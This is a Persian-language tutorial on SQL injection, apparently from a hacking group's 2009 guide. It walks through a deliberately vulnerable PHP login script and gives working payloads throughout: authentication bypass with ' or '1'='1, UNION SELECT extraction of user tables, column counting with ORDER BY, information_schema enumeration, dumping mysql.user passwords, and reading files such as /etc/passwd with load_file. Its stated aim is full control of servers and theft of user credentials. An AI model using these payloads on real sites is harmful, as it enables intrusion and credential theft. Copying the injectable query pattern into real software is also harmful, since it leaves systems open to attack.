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  مقدمه
در ، بسياري از وب سايتهاي اينترنتي HTTPبا ظهور اينترنت و بوجود آمدن پروتكل   

كاربران از راه دور . متصل شدنداينترنت به يكديگر ي  سرتاسر جهان بوجود آمده و تحت شبكه

  .توانستند از خدمات اين سرورها استفاده كنند و به آنها متصل شده و تبادل اطلاعات كنند

كامپيوترها به پايان رسيده بود، زيرا مانند قبل تنها نياز به  ميي قديها شكلي  ديگر دوره  

حال ديگر يك كاربر با روشن . يك كاربر محلي نبودي  يك سيستم عامل و چند برنامه براي استفاده

عات كند و اطلا ميتوانست اطمينان حاصل كند كه تنها او با سيستم كار  ميكردن كامپيوتر خود ن

  .شخصي و غيرشخصي سيستم تنها در دسترس اوست

اينكه . باشد ميامنيت ي  مسالهاست تا كنون مطرح  و شدهح حثي كه در آن زمان مطرب  

 .چگونه اطمينان حاصل كنيم كه كاربران راه دور تنها به اطلاعات خاصي دسترسي داشته باشند

يي كه با ها تلف باشند و بسياري از بحثاطلاعات روي سيستم كاملا تفكيك شده براي كاربران مخ

  .پيشرفت كاربري در اينترنت بوجود آمد

ي ها  و روشها ي امنيتي، سيستمها ، نرم افزارها و روشها ستميهمگام با بوجود آمدن س  

يي كه براي دسترسي غير مجاز به اطلاعات ها روش. نيز بوجود آمدضد امنيت يا به اصطلاح هك 

  .رود ميبه كار  ها تخريب و حذف آنو حتي سرور راه دور 

ي مختلف ضد امنيتي نيز بوجود آمده ها ي مختلف امنيتي، روشها با بوجود آمدن روش  

 در صدد نفوذ از طريق ها ، هكرها ي جديد براي مديريت سرورها با ساخته شدن نرم افزار. است

  .آيند مي بر ها اين نرم افزارها و سوء استفاده از آن

ي اطلاعاتي تحت اينترنت و مديريت ها يي كه تحول زيادي در سيستمها  افزاريكي از نرم  

 ها آن، مديران سايتي  بوسيله.  بود(Database)ي پايگاه داده ها اطلاعات بوجود آورد نرم افزار

يي كه ها يكي از روش. ي خود را مديريت كنندها توانند سايت ميبه صورت ساده تر و منعطف تر 

 SQLي پايگاه داده ابداع كرده اند تزريق دستورات ها ء استفاده از نرم افزارسوهكرها براي 

  .باشد كه در اين متن مورد بحث قرار گرفته است مي

از طريق دستورات ارتباط با آن ي  پيش نياز اين متن آشنايي با ساختار پايگاه داده و نحوه  

SQLي تحت وب مانند اه  و همچنين آشنايي نه چندان زياد با ساختار برنامهphp,asp,aspx,html 

  .باشد مي
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  اصول كلي تزريق
. ي تحت وب و ساختار كلي آنها بپردازيمها در ابتدا لازم است كه مقداري در مورد برنامه  

 و سرويس دهنده (Client)دو قسمت مهم در بيشتر ارتباطات اينترنتي سرويس گيرنده يا كلاينت 

كلاينت با مقدار زيادي . شود ميتباط با درخواست كلاينت شروع ار. باشند مي (Server)يا سرور 

  .شود مي به صفحات اطلاعاتي ديگر مواجه (Link)اطلاعات و نيز تعداد زيادي رابط يا لينك 

. باشد مي HTTPاين ارتباط ي  پروتكل استفاده شده براي بوجود آمدن و ادامه  

در نوع ايستا، . باشد مي (Dynamic)و پويا  (Static)ي تحت وب به دو صورت ايستا ها برنامه

كند و سرور تمام اطلاعات آن صفحه را بدون كم و كاست براي  ميكلاينت درخواست يك صفحه را 

ي دگر است، بعد از درخواست كاربر، يك  اما در نوع پويا اوضاع به گونه ا.فرستد ميكلاينت 

آن به كاربر ارسال ي  است، اجرا شده و نتيجهي تحت شبكه نوشته شده ها برنامه كه به يكي از زبان

در يك براي مثال . باشند مي در مقايسه با نوع ايستا بسيار كاراتر و راحتتر ها اين برنامه. شود مي

سايت خبري ايستا براي هر خبر بايد يك صفحه مجزا طراحي كرد، درحالي كه در نوع پويا يك 

پايگاه داده  را از  خبرگيرد و اطلاعات مي نظر را خبر موردي  شمارهشود كه  ميبرنامه طراحي 

  .فرستد ميگذارد و به كلاينت  ميي آماده ها خواند و در كنار غالب مي

در شكل سرور بايد  باشد يعني خروجي HTMLاطلاعات در طرف كاربر بايد در شكل   

HTML فرستاده شود چون پويشگر  براي كلاينت(Browser) ين نوع كد را تواند ا مي كاربر تنها

ي پويا در ها باشد ولي برنامه مي HTML صفحات ايستا در سمت سرور تماما در غالب .ترجمه كند

 HTMLشوند كه خروجي اين برنامه به شكل  مينوشته ... ، php, asp, aspxيي مثل ها زبان

  :در زير آمده استدو نوع درخواست براي صفحه  .است

  
HTTP://www.host.com/news13.html 
HTTP://www.host.com/news.php?id=13 
 

ي   درخواست شده است و در نوع دوم برنامه13ي  ايستا براي خبر شمارهي  يك صفحهدر نوع اول 

news.php را براي پارامتر 13 روي سرور درخواست شده و مقدار idبه آن فرستاده شده است .  

ارامترها همراه درخواست  براي فرستادن پHTTPدو روش مهم ارائه شده در پروتكل 

 است كه پارامترها GETروش موردي كه قبلا ديديم نمونه اي از .  استPOST و GETروشهاي 

ي توليد شده ها  در پكتHeader اين درخواست در قسمت .آيد مي URLهمراه درخواست در 
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د و به گير مي پارامترها در قسمت داده قرار POSTاما در روش . گيرد ميتوسط پويشگر قرار 

  .دهد ميكد شدن را نيز ي  شود كه به آن اجازه ميصورت پنهانتري از ديد كاربر به سرور فرستاده 

 معمولا با يك پايگاه داده ها اين برنامه. ي نوع پويا استها بحث در اينجا پيرامون برنامه

كلاينت  آرايش كرده و به HTMLي ها اطلاعات را از آنجا بخوانند و با تگكنند كه  ميكار 

شود، از جمله  ميآن ذخيره ي  ت پايگاه دادهتقريبا بيشتر اطلاعات يك سايت در قسم. بفرستند

ي ها ي تحت وب از زمينهها  در نتيجه امنيت در پايگاه داده و نيز برنامه.كلمات عبور و رمز كاربران

غير مجاز به اينكه يك سيستم را طوري امن كنيم كه از دسترسي . آيد ميبسيار مهم به شمار 

يادي ي زها ي زيادي براي اين كار وجود دارد و نيز راهها  و روشها راه. اطلاعات جلوگيري شود

 ها ما در اينجا يكي از اين روش.  بوجود آمده استها نيز براي سوء استفاده از اين امكانات سرور

  .پردازيم مي است SQLرا كه به تزريق دستورات 

 به كار كلي سيستم به اين صورت است كه ابتدا يك درخواستدر يك سيستم پويا، ساز و 

بعد برنامه در ي  در مرحله. شود ميخاص و به همراه آن چند پارامتر به سرور فرستاده ي  صفحه

، كه زبان SQLي  يي كه به آن داده شده است يك جملهها طرف سرور اجرا شده و بنا بر پارامتر

پايگاه داده . شود ميشود و به پايگاه داده فرستاده  مييجاد اباشد،  مياستاندارد پايگاه داده 

برنامه جدول . فرستد ميدستور مورد نظر را اجرا كرده و نتيجه را به برنامه در غالب يك جدول 

ي  را بررسي كرده و اطلاعات مورد نياز خود را بيرون كشيده و از آنها در درون يك صفحه

HTML فرستد ميامر به كلاينت كند و در نهايت  مي استفاده.  

ي   كردن به صفحهLoginبراي مثال اين سناريو را در نظر بگيريد كه يك كلاينت قصد 

وي ابتدا بايد شناسه و رمز عبور خود را در بخش به خصوصي . شخصي خود در سيستم را دارد

  :وارد كند
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 به خصوصي در ، اسكريپتLoginبعد از وارد كردن اطلاعات مورد نياز و فشردن دكمه 

. شود ميشود و محتويات اين دو فيلد به عنوان پارامتر به آن فرستاده  ميسرور فراخواني 

هدف از اين دستور . سازد مي براي فرستادن به پايگاه داده SQLاسكريپت اجرا شده و يك دستور 

. ست يا خيراين است كه بررسي كند كه آيا شناسه وجود دارد و اگر وجود داشت رمز عبور صحيح ا

  :دستور ساخته شده شبيه زير است
 

SELECT U_Name,U_Pass 
FROM T_Users 
WHERE U_Name = ‘<param01>‘ AND U_Pass=’<param02>’; 

  

اين دستور . گيرند ميدر ميان دو تك كت قرار  SQLي كاراكتري در زبان ها تمام رشته  

انتخواب  (T_Users) از جدول كاربران  را(U_Pass)ي عبور ها  و رمز(U_Name) ها شناسه ميتما

س از بازگشت  اين دستور پ نتيجهاگر.  منطبق باشدها كند كه شناسه و رمز عبور آنها با پارامتر مي

 نتيجه اي را در بر نداشت يعني يك جدول خالي برگشت DBMSاز سيستم مديريت پايگاه داده 

  :شود مي شناسه يا رمز عبور فرستاده به كاربر جهت اطلاع از اشتباه بودن ميپيغاداده شد، 

  



Black.Shadowes | copyright  2009 Page 7 

 نقش SQLدستورات . باشد مياين يك نمونه از ساز و كار اين سيستم براي ورود كاربران   

دهد در زير آمده  مينمونه كدي كه اين كارها را انجام . كنند ميرا در اينجا بازي  ميبسيار مه

 :است
 

<form name=”signin” action=”signin.php” method=”post”> 
Username:<input name=”loginid” type=”text”><br> 
Password:<input name=”password” type=”password”><br> 
<input name=”submit” value=”login” type=”submit”> 
</form> 
 

ي   نوشته شده است و باعث ايجاد يك فرم با دو فيلد براي شناسهHTMLكد بالا به زبان   

پس از ورود اطلاعات و . شود مي  و همچنين يك دكمه براي فرستادن اطلاعات و رمز عبوركاربري

 و شود ميبررسي شناسه و رمز را دارد اجرا ي  وظيفه كه signin.phpفشردن دكمه، اسكريپت 

 و loginid ،passwordي ها  كه داراي نامها روش ارسال پارامتر. فرستد مينتيجه را به كاربر 

submitت  اسPOST هيچ اطلاعاتي در باشد و پس از فشردن دكمه  ميURL ديده نشده و 

  .شوند مي به صورت مخفي فرستاده ها پارامتر

  :باشد مي به صورت زير signin.phpكد   
 

<?php 
// Connect to your database 
mysql_connect(“your.hostaddress.com”, “username”, ”password”) or 
die(mysql_error()); 
mysql_select_db(“Database_name”) or die(mysql_error()); 
 
// if login form is submitted 
If(isset($_POST[‘submit’])) 
{ 

$check = mysql_query(“SELECT * FROM T_Users WHERE 
U_Name=’” . $_POST[‘loginid’] . “’ AND U_Pass=’” . 
$_POST[‘password’] . “’”) or die(mysql_error()); 
 
// Give error if user doesn’t exist 
$check2 = mysql_num_rows($check); 
if($check2 == 0) 
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 die(‘invalid username or password’); 
else 
 head(‘userhome.php’); 

} 
?> 
 

 ساخته شده را به سيستم SQL دستور mysql_queryاين اسكريپت با استفاده از تابع   

كاراكتري ي  ي شناسه و رمز رشتهها نوع فيلد توجه كنيد كه چون .فرستد ميمديريت پايگاه داده 

  .گيرند مي قرار (Quotation mark)باشد در داخل علائم نقل قول  مي

  :ودي را به صورت زير در نظر بگيريدحال فرض كنيد يك كاربر مقادير ور  

  
Username: alaki’ or ‘1’=’1 
Password: alaki’ or ‘1’=’1 
 

 ساخته شده توسط SQLدستور .  قرار داده شده استSQLدر داخل دو فيلد مورد نظر دو دستور 

  :باشد مي به صورت زير signin.phpاسكريپت 

  
SELECT * FROM T_Users 
WHERE U_Name = ’alaki’ or ‘1’=’1’ AND 
U_Pass = ‘alaki’ or ‘1’=’1’ 
 

براي  مي دو قسمت از دستورات اولي براي بررسي شناسه و دوWHEREكليدي ي  بعد از كلمه

 به هم متصل شده اند و مفهوم آن اين است كه هر دو شرط بايد ANDبررسي رمز با كلمه كليدي 

  : خود به دو بخش تقسيم شده اندها  آنبا ورودي كه كاربر داده است هر يك از. صحيح باشند
U_Name = ’alaki’ or ‘1’=’1’ 
U_Pass = ‘alaki’ or ‘1’=’1’ 
 

اگر يكي از شروط درست  به هم متصل شده اند به اين معني كه ORهر يك از دو قسمت با شرط 

 همواره صحيح است پس هر ’1’=’1‘چون قسمت دوم شرط يعني . باشند شرط در كل صحيح است

 WHEREكليدي ي  پس شرط قرار گرفته بعد از كلمه. از دو قسمت همواره صحيح هستنديك 

 ايجاد شده جدولي از تمام كاربران را به عنوان نتيجه SQLدر نتيجه دستور . همواره صحيح است

 Loginچون جدول نتيجه خالي نيست پس كاربر به طور صحيح . به اسكريپت خواهد فرستاد
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شود بستگي به سطر اول از جدول نتايج دارد كه  ميي كه با آن وارد سيستم شناسه كاربر. كند مي

  :باشد مياراي بيشترين سطح دسترسي باشد كه د ميمعمولا مدير سايت 
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 در MSSQL كه در اكثر موارد با aspx و aspچنين حالتي در مورد سايتهاي طراحي شده با 

  :پياده سازي است تعامل هستند نيز رخ ميدهد و قابل 
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 يعني مدير كه متعلق به خود moderatorيك ي  اين ترفند باعث شد كه كاربر با شناسه

 كه در ادامه خواهد SQLي ديگري از تزريق ها با استفاده از اين روش و روش . شودLoginنيست 

ايت سرور را در دست گرفت و منابع توان اطلاعات زيادي را از سيستم بيرون كشيد و در نه ميآمد 

  .آن را خواند، نوشت و يا تغيير داد
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 اطلاعات را TextBox انجام شد و معمولا بيشتر صفحاتي كه در POSTاين مورد با متد 

هيچ پارامتري از طريق  كردن صفحه submitبعد از . كنند مي استفاده POSTگيرند از متد  مي

URLه مواردي كه از متد در ادام.  فرستاده نخواهد شدGET كنند خواهد آمد مي استفاده.  

 بخشي به عنوان جستجو در وب سايت طراحي شده است كه ها در بسياري از وب سايت

كه پس از ي  SQLدستور . بيند ميكند و نتايج را در صفحه  ميمورد جستجو را وارد ي  كاربر كلمه

  :اهد كرد به صورت زير خواهد بودخو اسكريپت در طرف سرور ايجاد Searchفشردن دكمه 
 

SELECT Title,Content 
FROM T_News 
WHERE Title LIKE ‘%<UserInput>%’ 
 

 به WHEREوارد كند قسمت  ’=’%‘ alaki’ orحال اگر مانند قبل كاربر ورودي را به صورت 

  :صورت زير خواهد شد
 

WHERE Title LIKE ‘%alaki’ or ‘%’=’%’ 
 

قسمت اول از دو قسمت به وجود آمده از نوع تشابه . رود مي تشابه به كار  به منظورLIKEدستور 

چون معمولا . شوند مي ختم alaki كه به عناويني اشاره دارد كه به ’Title LIKE ‘%alaki: است

 چون ’%’=’%‘اين قسمت نتيجه اي نخواهد داشت ولي قسمت دوم چنين عنواني وجود ندارد 

متصل شده اند شرط در كل همواره صحيح است و در  به هم OR با همواره صحيح است و دو شرط

يي است ها اين تست به عنوان شروعي براي روش. اخبار وجود خواهند داشت ميجدول نتيجه تما

  .شود مي پياده سازي POST نيز معمولا با متد ها قسمت جستجوي سايت. كه در ادامه خواهد آمد

 :باشند ميت زير  به صورها در بعضي از موارد لينك  

  
http://www.Site.org/news.php?id=124 
 

توان گفت كه اين  مي ن.شود مي فرستاده GET و با متد URL از طريق ها اين موارد پارامتردر 

ي صحيح و امن ها با نوشتن كدباشند بلكه  مي POSTموارد داراي امنيت كمتري نسبت به متد 

  .كند امن كرد مي استفاده POSTا  يGETتوان هر سايتي را كه از متد  مي
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 Scrollbarبه اندازه : (باشد ميپيشفرض اين لينك از سايت خبري به صورت زير ي  صفحه

  )دقت كنيد
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  :كنيم مي وارد URLحال ورودي را در 
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توانند در داخل علائم نقل قول  ميگيرند  ميكه متغيرهايي كه مقدار عددي البته بايد دقت كرد 

 . امتحان كردQueryساختار  پس بايد موارد بيشتري را براي بدست آوردن . يا نگيرندقرار بگيرند

  :مانند موارد زير
id=124 or 1=0 
id=124 or 1=1 
id=124’ or ‘1’=’0 
id=124’ or ‘1’=’1 
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اخبار را نشان دهد يا اولين خبري كه در ي  در مواردي كه شرط دوم صحيح باشد بايد يا همه

كه وارد كرده ايم ي  Queryاگر . وجود دارد كه معمولا متفاوت با خبر فعلي استپايگاه داده 

 در اسكريپت سرور را بهم بريزد بسته به كد اسكريپت ممكن است خطا در صفحه Queryساختار 

ي  خانهگي و يا همان صفحهي  خطاي طراحي شده و يا صفحهي  نمايش داده شود ويا يك صفحه

البته بايد توجه كرد كه .  را بدست آوردQueryتوان ساختار  مي چند تست  با.خبر نشان داده شود

نمونه اي از خطا در شكل بالا آمده . هيچگونه كدي براي بررسي ورودي كاربر داده نشده باشد

  .است

ي   داده شده در پايگاه داده اجرا شده و همهSQLشكل پيداست دستورات همانطور كه از 

اخبار  البته چيزي كه براي ما اهميت دارد .وب نشان داده شده استي  بر روي صفحهاخبار سايت 

نيست، هدف كنترل كامل روي سرور و يا پايگاه داده و يا حداقل بدست آوردن ليست كاربران و 

 بدست بيايد احتمال بدست آمدن (admin)البته اگر شناسه و رمز عبور مدير . رمز عبور آنهاست

  .ستهموارد فوق ي  همه

ورودي را طوري بدهيم كه بعد از اجراي رسيم كه بايد  ميس از بحث بالا به اين نتيجه پ  

كليدي ي   بدين منظور از كلمه.نتايج ديگري غير از اخبار بدست بياوريمدستور در پايگاه داده 

UNION كنيم ميرود استفاده  مي كه براي اجتماع كردن دو جدول به كار:  

  
SELECT Title,Content FROM T_News WHERE id=124 
UNION 
SELECT username,password FROM T_Users 
 

شد كه علاوه بر محتويات جدول اخبار، محتويات جدول كاربران نيز در  مي باعث Queryاين 

يي كه در ) ها فيلد (ها چيزي كه بايد به آن دقت شود اين است كه تعداد ستون. نتيجه ديده شود

در اينجا دستور اول دو ستون را انتخواب . دارد بايد با هم برابر باشد وجود SELECTدو دستور 

اگر تعداد ستونها يكي نباشد پايگاه . كند پس دستور دوم نيز بايد دو ستون را انتخواب كند مي

 نيز بايد با هم ها نوع ستون. دهد ميپيام خطايي به همين عنوان به كاربر ) بسته به نوعش(داده 

 SELECTعددي باشد بايد ستون اول از  اول از نوع SELECT اگر ستون اول از مثلا. يكي باشد

  .دوم نيز از نوع عددي باشد
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 اول SELECT، معمولا قسمت ها در هنگام جستجو براي يافتن آسيب پذيري در وب سايت  

شود و به آن  ميرفته  گURL از idدر اسكريپت طرف سرور قرار دارد به اين صورت كه پارامتر 

  :گردد ميضافه ا
 
HTTP://www.Site.com/news.php?id=124 
SELECT Title,Content FROM T_News WHERE id=124 
 

  :كنيم مي را اضافه UNIONما در ورودي عبارت 

  
HTTP://www.Site.com/news.php?id=124 UNION SELECT 
username,password FROM T_Users 
 

  :ايد به صورت زير نوشته شوداگر ورودي دارا علامت نقل قول بود ب

  
?id=124’ UNION SELECT username,password FROM T_Users 
WHERE ‘1’=’1 
 

 تنها جا براي نشان دادن يك خبر است و بعد از اينكه نتايج از ها در بعضي از وب سايت  

 چون .دهد ميپايگاه داده گرفته شد اولين خبر را گرفته و محتويات را در صفحه نشان 

SELECT  شود محتويات آن در ابتدا قرار دارد و بنا  ميكه خود اسكريپت نوشته است اول اجرا ي

 براي رفع اين مشكل بايد كاري كرد كه اولين .بر اين يك خبر واقعي نمايش داده خواهد شد

خبر است اگر كاري كنيم ي   شماره124در اينجا .  محتويات خاصي را بر نگرداندSELECTدستور 

  :گرداند ميرا بر ) خالي( اولي يك جدول تهي SELECTخبر وجود نداشته باشد ي  رهكه شما

  
?id=-124 UNION … 
?id=1240000 UNION … 
?id=124 AND 1=0 UNION … 
 

 را منفي كرديم و در مورد دوم عدد بزرگي را به آن نسبت داديم كه چون idدر مورد اول عدد 

 در .شود مي اول SELECTي  ارد باعث تهي شدن نتيجه وجود ندها معمولا خبري با اين شناسه

ه ا كرديم كه باعث اشتبAND تركيب عطف 0=1 را با يك شرط هميشه غلط id=124مورد سوم 

  .شود ميشدن كل شرط 
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 نوشته شده در Queryآيد اين است كه ما هيچگونه اطلاعي از  ميسوالي كه اينجا پيش   

براي پيدا كردن تعداد .  را پيدا كنيمها اد و نوع ستوناسكريپت طرف سرور نداريم، چگونه تعد

  : بدانيمORDER BY بايد مختصري در مورد دستور ها ستون

  
SELECT Title,Content FROM T_NEWS WHERE yid=2001 ORDER 
BY Title 

  

 2001سال انتشار آنها مساوي ي  شود عنوان و محتويات خبرهايي كه شماره مي باعث Queryاين 

 به Title بر اساس ستون ORDER BYوجود دستور ي  را ابتدا بدست آورده سپس به واسطهاست 

شوند  مي شروع Bشوند بالا و آنهايي كه با  مي شروع Aعناويني كه با . ( صورت نزولي ليست كند

ستون آن را بنا به مكان قرار گيري در ي  توانيد به جاي نام ستون شماره مي شما ...)پايينتر و 

 را به خود اختصاص داده 2 شماره Content و 1 شماره Title  قرار دهيد،SELECTي دستور جلو

  :توانند به كار روند مي به جاي هم Queryپس دو سطر زير در  .است

  
ORDER BY Title 
ORDER BY 1 
 

 يي كه جلويها  بالا شماره ستوني كه به منظور مرتب سازي داده ايد از تعداد ستونQueryاگر در 

باشد  مي آمده است بيشتر باشد پيام خطايي مبني بر اينكه شماره ستون اشتباه SELECTدستور 

  :دريافت خواهيد كرد

  
SELECT Title,Content FROM T_NEWS WHERE yid=2001 ORDER 
BY 4 
 

 ستون انتخواب شده 2 تنها SELECT تعريف نشده است چون جلوي دستور 4ي  ستون شماره

براي نمونه فرض . بدست آوريد را ها توانيد تعداد ستون مي از اين تكنيك شما  با استفاده.است

نوشته ي  Queryباشد و در طرف سرور چنين  مي ستون 4 در سرور داراي T_Newsكنيد جدول 

  : اطلاعي نداريدها شده است و شما از هيچكدام از اين

  
SELECT * FROM T_News WHERE id=124 
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  :بريد مي پي ها زير به تعداد ستوني ها حال شما با تست

  
News.php?id=124 order by 5  ERROR 
News.php?id=124 order by 2  Correct 
News.php?id=124 order by 4  Correct 
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 ها تعداد ستونگيريم كه  ميچون ستون پنجم وجود نداشت ولي ستون چهارم وجود داشت نتيجه 

  .باشد مي 4

 اعداد به ها DBMSدر بسياري از .  چه بايد كردها دست آوردن نوع ستوناما براي ب  

شوند و در صورت نياز به صورت ضمني  ميصورت پيش فرض به صورت رشته اي در نظر گرفته 

  :شوند ميبه نوع عددي تبديل ) پنهان(

  
SELECT Title,Content FROM T_News WHERE id=124 
UNION 
SELECT 1,2 FROM T_News 
 

 و Title از نوع رشته اي همانند 2 و 1دهند چون  ميي داده در اينجا پيام خطا نها سياري از پايگاهب

Contentحتي اگر .  هستندQueryآمد مي به صورت زير بود نيز مشكلي پيش ن:  

  
SELECT id,Content FROM T_News WHERE id=124 
UNION 
SELECT 1,2 FROM T_News 
 

 به صورت DBMSباشد،  مي داراي نوع عددي id اول يعني SELECTدر اينجا چون ستون اول 

ماند،  ميكند و ستون دوم به همان فرم رشته اي  مي تبديل 1 را به عدد 1ضمني مقدار رشته اي 

، image اما در بسياري از مواقع انواعي مثل نوع .آيد ميپس در اين مورد هم مشكلي پيش ن

binary ،DateTime ،Text براي رفع اين مشكل به جاي ستون . ل تبديل ضمني نيستندقاب...  و

 در ابتدا به جاي تمام .مقداري به معني هيچي.  قرار دادnullتوان مقدار  مي ها مربوط به آن

 با چند مورد شود مي روي صفحه چيزي ديده نnull چون با مقادير گذاريم سپس مي null ها ستون

  .كنيم ميفحه هست را پيدا ستوني كه قابل ديدن روي صسعي و خطا 

  
SELECT Title,Content FROM T_News WHERE id=124 
UNION 
SELECT null,null FROM T_News 

  

 به اين نتيجه رسيده ايم كه ORDER BYهمانطوري كه در شكل زير پيداست با عمل   

 كرده ايم و  عدد را ليست10 تعداد UNIONباشد و با دستور  مي 10 برابر Queryي ها تعداد ستون
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از شكل پيداست كه بعد از .  را قرار داده ايم(user)سپس به جاي ستون چهارم نام يك ستون را 

 و همچنين مقدار ها ستوني  ، شمارهچند مورد خطا كه خللي در روند اجرا ايجاد نكرده است

  . بر روي صفحه نمايش نشان داده شده استuserستون 

 در ادامه Queryمثلا خود . شويم  بسيار زيادي روبرو ميهاي خاص البته در عمل با حالت

باشد و با به كار بردن اين دستور يك تداخل بين دو دستور   ميORDER BYداراي دستور 

ي رويارويي با اين موارد را به صورت جداگانه در  نحوه. دهد آيد و خطا رخ مي بوجود مي

DBMS ها و  ين اين موارد كه چگونه نام جدولو همچن. هاي مختلف بحث و بررسي خواهيم كرد

   . براي پيشبرد اهداف استفاده كنيمDBMSها را بدست بياوريم و از امكانات  ستون
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  :MySQLتزريق در 
  MySQL يكي از DBMS ي   به دليل رابطه وباشد ميدر جهان ي كد باز و مشهور ها

از اين  نوشته شده اند PHPه با ي كها  معمولا سايت داردPHPخوبي كه با زبان برنامه نويسي 

DBMS اين ي مختلف ها ويژگي .كنند مي استفادهDBMSبراي . در زير توضيح داده شده است 

  . استMySQL در اين قسمت به ها راحتي كار تمام اشاره

  :براي مثال. باشد مي نQuery نيازي به ذكر نام جدول در DBMSدر اين   

  
SELECT 1,2,3,4 
 

 UNIONاين خاصيت در دستور . 4و3و2و1 ستون و يك سطر با محتويات 4 با نتيجه جدولي است

  .بسيار مفيد است

 در DBMS وجود دارد كه اطلاعات خود information_schema به نام Databaseيك   

از مهمترين  يكي .شود مي در آنجا نگهداري ها ي آنها  و ستونها  و جدولها مورد ديتابيس

. ي سيستم در آن قرار داردها جدول است كه نام تمام TABLES جدول ي اين ديتابيس،ها جدول

  : براي نمونه.باشد مي TABLE_SCHEMA و TABLE_NAMEمهم اين جدول ي ها از ستون

  
?id=-124 UNION SELECT TABLE_SCHEMA,TABLE_NAME 
FROM INFORMATION_SCHEMA.TABLES 
 

جدول مهم بعدي جدول . بدست آوردتوان نام جداول مورد نياز خود را  مياز اينجا 

COLUMNS ي مهم ها  از ستون.ي مرتبط با جداول در آن قرار دارندها باشد كه نام ستون مي

 و TABLE_SCHEMA و TABLE_NAME و COLUMN_NAMEاين جدول 

DATA_TYPE براي نمونه. باشد مي:  

  
?id=-124 UNION SELECT DATA_TYPE,COLUMN_NAME FROM 
INFORMATION_SCHEMA.COLUMNS WHERE 
TABLE_NAME=’T_Users’ 
 

 البته اگر اجازه دسترسي به اين .به آنچه هدف است برسيمتوانيم  مي در نهايت ما Queryبا اين 

databaseرا نداشته باشيم بايد از فرآيند سعي و خطا استفاده كنيم .  
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يست كاربران  در آن لuser و جدول مهم باشد مي mysqlشما يا ديتابيس مهم ديگر   

DBMSدو ستون مهم آن .  را در خود داردUser و Password براي نمونه.باشد مي :  

  
?id=-124 UNION SELECT User,Password FROM mysql.user 
 

ي سيستم پايگاه داده ها باشد كه دسترسي كامل به تمام بخش مي rootمهمترين كاربر اين سيستم 

  .دارد

باشد كه بعد  مياسكريپت سرور قرار دارد به صورتي در كه ي  Queryدر بسياري از موارد   

  :از ورودي كاربر قسمت پاياني نيز قرار دارد، مانند
 

SELECT * FROM T_News WHERE id=<param01> AND enable = 
true order by Title 
 

د از بع استفاده كنيم با خطا مواجه خواهيم شد چون ORDER BYحال اگر بخواهيم از دستور 

 ديگر وجود دارد كه ORDER BY وجود نداشت يك AND آمده است و اگر ANDاين دستور 

بايد راه حل اول در .  براي حل اين مشكل دو راه حل وجود دارد.شود ميباعث توليد خطا 

 دستور به DBMSبا كامنت كردن يك عبارت آن قسمت توسط .  كرد را كامنتQueryي  ادامه

 .شود مي استفاده */ براي كامنت كردن از .آيد ميوان توضيحات به حساب حساب نيامده و به عن

  :براي نمونه
 
?id=-124 UNION SELECT 1,2,3,4 FROM T_Users /* AND enable = true order 

by Title 

 

  : براي نمونه.ها را درست بستشود پرانتز مياز پرانتز استفاده كه  ميالبته بايد هنگا

  
SELECT * FROM T_News WHERE (id=<param01> AND enable = true) order 
by Title 
 
… WHERE (id=-124 UNION SELECT 1,2,3,4 FROM T_Users /* AND enable = 

true) order by Title 

 

Query شود چون پرانتز بسته نشده است مي دوم باعث ايجاد خطا:  
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… WHERE (id=-124) UNION SELECT 1,2,3,4 FROM T_Users /* AND enable = 

true) order by Title 

 

 قسمت اول SELECTاين مشكل حدس زدن جداولي است كه در راه حل دوم براي حل   

  : مثلا در اينجا.شود ميمورد بررسي انجام ي   معمولا اين كار با ديدن نام صفحه.آمده است

  
News.php � News || TNews || T_News || TblNews || Tbl_News 
 

  : را با سعي و خطا و ديدن نتيجه بدست آوردها تعداد ستونپس از حدس زدن نام جداول بايد 

  
SELECT * FROM T_News WHERE id=-124 union select 1 from 
T_News where 1=1 AND enable = true order by Title 
 

مت دوم، بخش  بالا پيداست، با آوردن نام جداول قسمت اول در قسQueryهمانطور كه از 

توان  ميست كه ها تنها چيزي كه هنوز پيدا نيست تعداد ستون. باقيمانده تركيب صحيحي را ساختند

 ORDERتوان از  ميشود  مي در صفحه ظاهر mysql اگر خطاي :دو حالت مختلف داشته باشد

BYاستفاده كرد :  

  
SELECT * FROM T_News WHERE id=-124 order by 1 union select 1 
from T_News where 1=1 AND enable = true order by Title 
 

توجه .  را بدست آوردها توان تعداد ستون ميكه قبلا گفته شد ي  ORDER BYروش با استفاده از 

شود ولي  ميشود كه در اين مورد اگر شماره ستون وجود نداشته باشد، خطاي شماره ستون ظاهر 

 با هم برابر باشد SELECTي دو ها  بر اينكه بايد تعداد ستوناگر وجود داشته باشد خطايي مبني

 ها شود، بايد يكي يكي تعداد ستون ميخطايي در صفحه نشان داده ن در نوعي كه  .شود ميظاهر 

شود هر بار كه يك  ميتوصيه . اي متفاوت از ديگر صفحات برسيمرا افزايش داد تا به يك صفحه 

 با هم ها تعداد ستون به آن اختصاص بدهيد، چون در حالتي كه nullكنيد مقدار  ميستون اضافه 

شما دوباره همان صفحه خطاي قبلي را  رخ داد ها خطاي برابر نبودن نوع ستونبرابر شد و 

  :را تا بي نهايت ادامه خواهيد داد ها بينيد و در نتيجه كار اضافه كردن ستون مي

  
SELECT * FROM T_News WHERE id=-124 order by 1 union select 
null from T_News where 1=1 AND enable = true order by Title 
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SELECT * FROM T_News WHERE id=-124 order by 1 union select 
null,null from T_News where 1=1 AND enable = true order by Title 
… 

 

ول مورد نياز خود در كنار نام جداول ، با افزودن نام جدQueryبعد از بدست آوردن فرم صحيح 

  :كنيم مي JOINبدست آمده آنها را به اصطلاح 

  
SELECT * FROM T_News WHERE id=-124 order by 1 union select 
null,null,null,null from T_News,T_Users where 1=1 AND enable = 
true order by Title 

 

  . قرار دادها null را به جاي T_Usersي ها توان نام ستون ميحال در اين مورد 

 چند نمونه از  استفاده كردها Queryتوان از توابع مختلفي در  مي DBMSدر اين   

  : در زير توضيح داده شده استها مهمترين آن

  

  :load_fileتابع 

گيرد و محتويات آن را در خروجي  مياين تابع آدرس يك فايل محلي روي سيستم را   

  :دهد مينشان 
load_file(‘/etc/passwd’) 
load_file(‘c:\\boot.ini’) 
load_file(‘/home/siteHome/htdocs/index.php’) 
 

در .  را ديدها توان كد اسكريپت مياز مورد آخر پيداست كه با داشتن مسير وب سايت روي سرور، 

ت آوردن مسير  پس بدس. را يافتDBMSتوان شناسه و رمز عبور اتصال به  مي معمولا ها اين كد

  .باشد ميسايت روي سرور بسيار مهم 
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  :concatتابع 

  :گيرد ميبراي اتصال دو يا چند رشته كاراكتري به يكديگر مورد استفاده قرار 

  
concat(‘ali’,’:’,’reza’) � ‘ali:reza’ 
